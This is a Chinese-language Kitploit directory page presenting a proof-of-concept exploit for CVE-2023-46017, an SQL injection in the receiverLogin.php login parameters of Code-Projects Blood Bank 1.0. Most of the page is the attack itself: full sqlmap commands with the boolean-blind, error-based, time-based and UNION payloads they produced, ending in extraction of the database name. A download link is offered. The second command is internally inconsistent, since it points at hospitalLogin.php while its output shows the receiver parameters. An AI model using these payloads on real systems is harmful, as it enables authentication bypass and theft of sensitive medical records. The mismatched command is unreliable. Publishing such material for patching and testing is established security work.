Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/ersinerenler/cve-2023-46017-code-projects-blood-bank-1.0-sql-injection-vulnerability
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubersinerenler/cve-2023-46017-code-projects-blood-bank-1.0-sql-injection-vulnerability

CVE-2023-46017-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability

Code-Projects Blood Bank V1.0中SQL注入的概念验证漏洞利用。演示通过receiverLogin.php中易受攻击的remail和rpassword参数绕过身份验证和提取数据库。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
32年前尚未审核
分享

CVE-2023-46017-Code-Projects血库1.0 SQL注入漏洞

  • 漏洞利用作者:ersinerenler

厂商主页

  • https://code-projects.org/blood-bank-in-php-with-source-code

软件链接

  • https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

概述

  • Code-Projects血库V1.0存在一个严重的安全漏洞,该漏洞源于对receiverLogin.php文件中的'remail'和'rpassword'参数保护不足。此漏洞可能被利用来注入恶意SQL查询,导致未经授权的访问和从数据库中提取敏感信息。

漏洞详情

  • CVE ID: CVE-2023-46017
  • 受影响版本:血库V1.0
  • 漏洞文件:/receiverLogin.php
  • 参数名称:remail, rpassword
  • 攻击类型:本地

参考文献:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46017
  • https://nvd.nist.gov/vuln/detail/CVE-2023-46017

描述

  • 由于对'remail'和'rpassword'参数缺乏适当的输入验证和清理,攻击者可以构造SQL注入查询,绕过身份验证机制并获取对数据库的未授权访问
图片

概念验证(PoC) :

  • sqlmap -u "http://localhost/bloodbank/file/receiverLogin.php" --method POST --data "remail=test@test&rpassword=test&rlogin=Login" -p remail --risk 3 --level 5 --dbms mysql --batch --current-db
root@kitploit:~
---
Parameter: remail (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: remail=test@test' AND 1348=(SELECT (CASE WHEN (1348=1348) THEN 1348 ELSE (SELECT 5898 UNION SELECT 1310) END))-- -&rpassword=test&rlogin=Login

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: remail=test@test' OR (SELECT 9644 FROM(SELECT COUNT(*),CONCAT(0x7170707171,(SELECT (ELT(9644=9644,1))),0x7178706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HyEh&rpassword=test&rlogin=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: remail=test@test' AND (SELECT 5587 FROM (SELECT(SLEEP(5)))hWQj)-- NUfN&rpassword=test&rlogin=Login

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: remail=test@test' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x4e764e5452486270544a6e4c705a79535a667441756d556b416e7961484a534a647542597a61466f,0x7178706271),NULL,NULL,NULL,NULL,NULL-- -&rpassword=test&rlogin=Login
---
  • sqlmap -u "http://localhost/bloodbank/file/hospitalLogin.php" --method POST --data "hemail=test@test&hpassword=test&hlogin=Login" -p rpassword --risk 3 --level 3 --dbms mysql --batch --current-db
root@kitploit:~
---
Parameter: rpassword (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: remail=test@test&rpassword=test' AND 9149=(SELECT (CASE WHEN (9149=9149) THEN 9149 ELSE (SELECT 9028 UNION SELECT 5274) END))-- -&rlogin=Login

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: remail=test@test&rpassword=test' OR (SELECT 6087 FROM(SELECT COUNT(*),CONCAT(0x7170707171,(SELECT (ELT(6087=6087,1))),0x7178706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VRqW&rlogin=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: remail=test@test&rpassword=test' AND (SELECT 4449 FROM (SELECT(SLEEP(5)))eegb)-- Cuoy&rlogin=Login

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: remail=test@test&rpassword=test' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x6e686d776376736a706f47796d474a736a48566f72625a4e6d537247665a444f684154684b476d62,0x7178706271),NULL,NULL,NULL,NULL,NULL-- -&rlogin=Login
---
  • 当前数据库:bloodbank
图片
下载工具